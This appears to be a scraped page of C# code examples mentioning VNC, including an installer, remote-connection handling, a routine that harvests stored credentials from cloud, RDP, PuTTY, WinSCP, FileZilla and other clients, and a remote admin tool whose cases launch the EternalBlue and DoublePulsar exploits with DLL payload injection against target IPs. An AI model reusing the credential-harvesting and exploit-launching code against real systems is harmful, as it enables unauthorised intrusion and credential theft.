Exemplo n.º 1
0
        private static string DigLikeThereIsNoTomorrow()
        {
            bool   isHighIntegrity = Utils.IsHighIntegrity();
            string findings        = "";

            findings += McAfee.Dig(isHighIntegrity);
            findings += GPP.Dig();
            findings += Unattended.Dig();
            findings += PSReadLine.Dig(isHighIntegrity);
            findings += AWS.Dig(isHighIntegrity);
            findings += Azure.Dig(isHighIntegrity);
            findings += GCP.Dig(isHighIntegrity);
            findings += RDP.Dig(isHighIntegrity);
            findings += PuTTY.Dig(isHighIntegrity);
            findings += SuperPuTTY.Dig(isHighIntegrity);
            findings += WinSCP.Dig(isHighIntegrity);
            findings += FileZilla.Dig(isHighIntegrity);
            findings += VNC.Dig(isHighIntegrity);
            findings += TeamViewer.Dig();
            findings += PulseSecure.Dig();

            if (string.IsNullOrEmpty(findings))
            {
                return("\nDid not find anything :(\n");
            }
            else
            {
                return(findings);
            }
        }
Exemplo n.º 2
0
        void DoWork(object sender, DoWorkEventArgs e)
        {
            CB_STATE cb_state = (CB_STATE)e.Argument;

            if (cb_state.vnc)
            {
                VNC vnc = new VNC(fileutils);
                Console.WriteLine("VNC安装中...");
                vnc.install();
                Console.WriteLine("VNC安装完成.");
            }
            if (cb_state.klite)
            {
                KLITE klite = new KLITE(fileutils);
                Console.WriteLine("K-Lite安装中...");
                klite.install();
                Console.WriteLine("K-Lite安装完成.");
            }
            if (cb_state.office)
            {
                OFFICE office = new OFFICE(fileutils);
                Console.WriteLine("MS Office安装中...");
                office.install();
                Console.WriteLine("MS Office安装完成.");
            }
            if (cb_state.uninstall != null)
            {
                foreach (INSTALLED item in lv_uninstalled.Items)
                {
                    Console.WriteLine(item.name + "卸载中...");
                    progMgr.uninstall(item);
                    //lv_uninstalled.Items.Remove(item);
                    Console.WriteLine(item.name + "卸载完成.");
                }
            }
        }
Exemplo n.º 3
0
            private static void OpenConnectionFinal(Connection.Info newConnectionInfo, Connection.Info.Force Force,
                                                    Form ConForm)
            {
                try
                {
                    if (newConnectionInfo.Hostname == "" &&
                        newConnectionInfo.Protocol != Protocols.IntApp)
                    {
                        MessageCollector.AddMessage(MessageClass.WarningMsg,
                                                    Language.strConnectionOpenFailedNoHostname);
                        return;
                    }

                    if (newConnectionInfo.PreExtApp != "")
                    {
                        ExternalTool extA = GetExtAppByName(newConnectionInfo.PreExtApp);
                        if (extA != null)
                        {
                            extA.Start(newConnectionInfo);
                        }
                    }

                    //TODO
                    if (!(((Force & Info.Force.DoNotJump) == Info.Force.DoNotJump) || !SwitchToOpenConnection(newConnectionInfo)))
                    {
                        return;
                    }
                    Base newProtocol;
                        // Create connection based on protocol type
                        switch (newConnectionInfo.Protocol)
                        {
                            case Protocols.RDP:
                                newProtocol = new RDP();
                                break;
                            case Protocols.VNC:
                                newProtocol = new VNC();
                                break;
                            case Protocols.SSH1:
                                newProtocol = new SSH1();
                                break;
                            case Protocols.SSH2:
                                newProtocol = new SSH2();
                                break;
                            case Protocols.Telnet:
                                newProtocol = new Telnet();
                                break;
                            case Protocols.Rlogin:
                                newProtocol = new Rlogin();
                                break;
                            case Protocols.Serial:
                                newProtocol = new Serial();
                                break;
                            case Protocols.RAW:
                                newProtocol = new RAW();
                                break;
                            case Protocols.HTTP:
                                newProtocol = new HTTP(newConnectionInfo.RenderingEngine);
                                break;
                            case Protocols.HTTPS:
                                newProtocol = new HTTPS(newConnectionInfo.RenderingEngine);
                                break;
                            case Protocols.TeamViewer:
                                newProtocol = new TeamViewer();
                                break;
                            case Protocols.RAdmin:
                                newProtocol = new RAdmin();
                                break;
                            case Protocols.ICA:
                                newProtocol = new ICA();
                                break;
                            case Protocols.IntApp:
                                newProtocol = new IntApp();
                                if (newConnectionInfo.ExtApp == "")
                                {
                                    throw (new Exception(Language.strNoExtAppDefined));
                                }
                                break;
                            default:
                                return;
                        }

                    string cPnl;
                    if (((newConnectionInfo.Panel == "") | ((Force & Connection.Info.Force.OverridePanel) == Connection.Info.Force.OverridePanel)) | Settings.Default.AlwaysShowPanelSelectionDlg)
                    {
                        var frmPnl = new frmChoosePanel();
                        if (frmPnl.ShowDialog() == DialogResult.OK)
                        {
                            cPnl = frmPnl.Panel;
                        }
                        else
                        {
                            return;
                        }
                    }
                    else
                    {
                        cPnl = newConnectionInfo.Panel;
                    }

                    Form cForm = ConForm ?? WindowList.FromString(cPnl);
                    
                    if (cForm == null)
                    {
                        cForm = AddPanel(cPnl);
                        cForm.Focus();
                    }
                    else
                    {
                        (cForm as UI.Window.Connection).Show(frmMain.Default.pnlDock);
                        (cForm as UI.Window.Connection).Focus();
                    }

                    Control cContainer = (cForm as UI.Window.Connection).AddConnectionTab(newConnectionInfo);

                    if (newConnectionInfo.Protocol == Protocols.IntApp)
                    {
                        if (GetExtAppByName(newConnectionInfo.ExtApp).Icon != null)
                        {
                            (cContainer as TabPage).Icon =
                                GetExtAppByName(newConnectionInfo.ExtApp).Icon;
                        }
                    }

                    newProtocol.Closed +=  (cForm as UI.Window.Connection).Prot_Event_Closed;
                    newProtocol.Connected += (cForm as UI.Window.Connection).Prot_Event_Connected;
                    newProtocol.Disconnected += Prot_Event_Disconnected;
                    newProtocol.Connected += Prot_Event_Connected;
                    newProtocol.Closed += Prot_Event_Closed;
                    newProtocol.ErrorOccured += Prot_Event_ErrorOccured;
                    (cForm as UI.Window.Connection).ResizeBegin += newProtocol.ResizeBegin;
                    (cForm as UI.Window.Connection).ResizeEnd += newProtocol.ResizeEnd;
                    (cForm as UI.Window.Connection).Resize += newProtocol.Resize;

                    newProtocol.InterfaceControl = new InterfaceControl(cContainer, newProtocol, newConnectionInfo);

                    newProtocol.Force = Force;

                    if (newProtocol.SetProps() == false)
                    {
                        newProtocol.Close();
                        return;
                    }

                    if (newProtocol.Connect() == false)
                    {
                        newProtocol.Close();
                        if (newProtocol is PuttyBase&&!ProblemFixer.IsPuTTYOk())
                        {
                            ProblemFixer.FixPuTTYProblem();
                        }
                        if (newProtocol is TeamViewer && !ProblemFixer.IsTeamViewerOk())
                        {
                            ProblemFixer.FixTVProblem();
                        }
                        if (newProtocol is RAdmin && !ProblemFixer.IsRAdminOk())
                        {
                            ProblemFixer.FixRAdminProblem();
                        }
                        return;
                    }

                    newConnectionInfo.OpenConnections.Add(newProtocol);

                    if (newConnectionInfo.IsQuicky == false)
                    {
                        if (newConnectionInfo.Protocol != Protocols.IntApp)
                        {
                            Node.SetNodeImage(newConnectionInfo.TreeNode, Enums.TreeImage.ConnectionOpen);
                        }
                        else
                        {
                            ExternalTool extApp = GetExtAppByName((string)newConnectionInfo.ExtApp);
                            if (extApp != null)
                            {
                                if (extApp.TryIntegrate)
                                {
                                    if (newConnectionInfo.TreeNode != null)
                                    {
                                        Node.SetNodeImage(newConnectionInfo.TreeNode,
                                                          Enums.TreeImage.ConnectionOpen);
                                    }
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    MessageCollector.AddMessage(MessageClass.ErrorMsg,
                                                Language.strConnectionOpenFailed + Constants.vbNewLine +
                                                ex.Message);
                }
            }
Exemplo n.º 4
0
        public void PsExec_Exec(string trigger, bool sync = false)
        {
            IEnumerable <LV_IP_Item> targets = CSV.Where(x => x.IsChecked == true);

            if (targets.Count() != 0)
            {
                if (trigger == "WOL" || trigger == "PING")
                {
                    ProgressBar.Maximum = targets.Count();
                }
                else
                {
                    ProgressBar.Maximum = targets.Where(x => x.Online == true).Count();
                }
                PsExec     psexec     = new PsExec(fileutils);
                PsShutdown psshutdown = new PsShutdown(fileutils);
                foreach (LV_IP_Item target in targets)
                {
                    if (target.IsChecked)
                    {
                        if (target.Online || trigger == "WOL" || trigger == "PING")
                        {
                            string batch = null;
                            URL_ShutdownAndMouse url_shutdownandmouse = new URL_ShutdownAndMouse(target.IP);
                            URL_Zkplay           url_zkplay;
                            switch (trigger)
                            {
                            case "CMD":
                                LV_UPLOAD.ItemsSource = null;
                                batch = "start \"\" \"" + psexec.version + "\" \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd + " cmd";
                                break;

                            case "EXEC":
                                batch = "start /MIN \"\" \"" + psexec.version + "\" \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd + " -d cmd /c \"\"" + TB_Batch_Destination.Text + TB_Batch_ExecBat.Text + "\" \"" + TB_Batch_Destination.Text + "\" " + target.IP + " " + TB_Batch_Other.Text + "\"";
                                break;

                            case "TASKKILL":
                                batch = "start /MIN \"\" \"" + psexec.version + "\" \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd + " taskkill /F /IM " + TB_Batch_Other.Text;
                                break;

                            case "MSTSC":
                                batch = "mstsc /v:" + target.IP;
                                break;

                            case "PING":
                                batch = "start \"\" ping " + target.IP + " -t";
                                break;

                            case "VNC":
                                VNC vnc = new VNC(fileutils);
                                if (TB_Batch_Other.Text != "baidu.com")
                                {
                                    fileutils.BinaryWrite(vnc.PasswdFilePath, StringExtensions.GetChunks(vnc.EncryptVNC(TB_Batch_Other.Text), 2));
                                }
                                batch = "start \"\" \"" + vnc.SoftPath + "\" -passwd \"" + vnc.PasswdFilePath + "\" " + target.IP;
                                break;

                            case "HTTP_SHUTDOWN":
                                batch = url_shutdownandmouse.shutdown;
                                break;

                            case "HTTP_RESTART":
                                batch = url_shutdownandmouse.restart;
                                break;

                            case "WOL":
                                WOL wol = new WOL(fileutils);
                                batch = "start /MIN \"\" \"" + wol.SoftPath + "\" " + target.Mac.Replace("-", "") + " " + target.IP + " 255.255.255.0 9";
                                break;

                            case "EXPLORER":
                                batch = @"start \\" + target.IP + @"\" + Regex.Replace(TB_Batch_Destination.Text, @":\\(资源管理器)?", @"$");
                                break;

                            case "SHUTDOWN":
                                batch = "start /MIN \"\" \"" + psshutdown.version + "\" -f -t 01 \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd;
                                break;

                            case "RESTART":
                                batch = "start /MIN \"\" \"" + psshutdown.version + "\" -r \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd;
                                break;

                            case "EternalBlue":
                                batch = "start /MIN \"\" \"" + fileutils.EquationExploitPath + "files\\Eternalblue-2.2.0.exe\" --InConfig \"" + fileutils.EquationExploitPath + "files\\Eternalblue-2.2.0.xml\" --TargetIp " + target.IP + " --TargetPort " + TB_TargetPort.Text + " --OutConfig \"" + fileutils.EquationExploitPath + @"logs\EB_" + target.IP + "_" + TB_TargetPort.Text + ".xml\"" + " --Target " + TB_TargetOS.Text;
                                break;

                            case "DoublePulsar":
                                batch = "start /MIN \"\" \"" + fileutils.EquationExploitPath + "files\\Doublepulsar-1.3.1.exe\" --InConfig \"" + fileutils.EquationExploitPath + "files\\Doublepulsar-1.3.1.xml\" --TargetIp " + target.IP + " --TargetPort " + TB_TargetPort.Text + " --OutConfig \"" + fileutils.EquationExploitPath + @"logs\DP_" + target.IP + "_" + TB_TargetPort.Text + ".xml\"" + " --Protocol " + TB_protocol.Text + " --Architecture " + TB_architecture.Text + " --Function " + LB_Function.SelectedItem.ToString() + " --DllPayload \"" + fileutils.EquationExploitDllsPath + LB_payloadDllname.SelectedItem.ToString() + "\" --payloadDllOrdinal " + TB_payloadDllOrdinal.Text + " --ProcessName " + LB_ProcessName.SelectedItem.ToString() + " --ProcessCommandLine " + TB_processCommandLine.Text + " --NetworkTimeout " + TB_NetworkTimeout.Text;
                                break;

                            case "HTTP_ZKPLAY_RESTART":
                                url_zkplay = new URL_Zkplay(target.IP);
                                batch      = url_zkplay.restart;
                                break;

                            case "ZKPLAY_UPLOAD":
                                LB_BAT_INNER.SelectedItem = "内容上传";
                                if (!Regex.Match(lv_ip_item.PlusbeZK, "zkplay||内容").Success)
                                {
                                    batch = "未指定Zkplay路径.";
                                }
                                else if (!File.Exists(TB_Batch_Other.Text.Split(';')[0]))
                                {
                                    batch = "未指定上传文件.";
                                }
                                else
                                {
                                    TB_Batch_Destination.Text = TB_Batch_Destination.Text + @"\UploadFiles";
                                    string[]       FileList = target.Other.Split(';');
                                    ZkplayPlayList ZKPList  = new ZkplayPlayList(this, target.IP);
                                    ZKPList.GetConfig();
                                    ZKPList.Add(FileList);
                                    batch = "PsExec_CopyOnly";
                                }
                                break;

                            case "HTTP_ZKPLAY_PLAY":
                                url_zkplay = new URL_Zkplay(target.IP, LV_ZkplayPlayList.SelectedIndex);
                                batch      = url_zkplay.play;
                                break;

                            case "HTTP_ZKPLAY_SETTING":
                                _ZkplaySetting = new ZkplaySetting(this);
                                _ZkplaySetting.Setting.myip = target.IP;
                                url_zkplay = new URL_Zkplay(target.IP, 0, _ZkplaySetting.Setting);
                                batch      = url_zkplay.setting_set;
                                _ZkplaySetting.Close();
                                break;

                            case "PsExec_CopyOnly":
                                batch = "PsExec_CopyOnly";
                                break;
                            }

                            if (sync)
                            {
                                batch = "SYNC_" + batch;
                            }
                            if (!batch.Contains("PsExec"))
                            {
                                LV_UPLOAD.ItemsSource = null;
                            }
                            Thread thread = new Thread(this);
                            thread.Exec(target, batch);
                        }
                    }
                }
            }
        }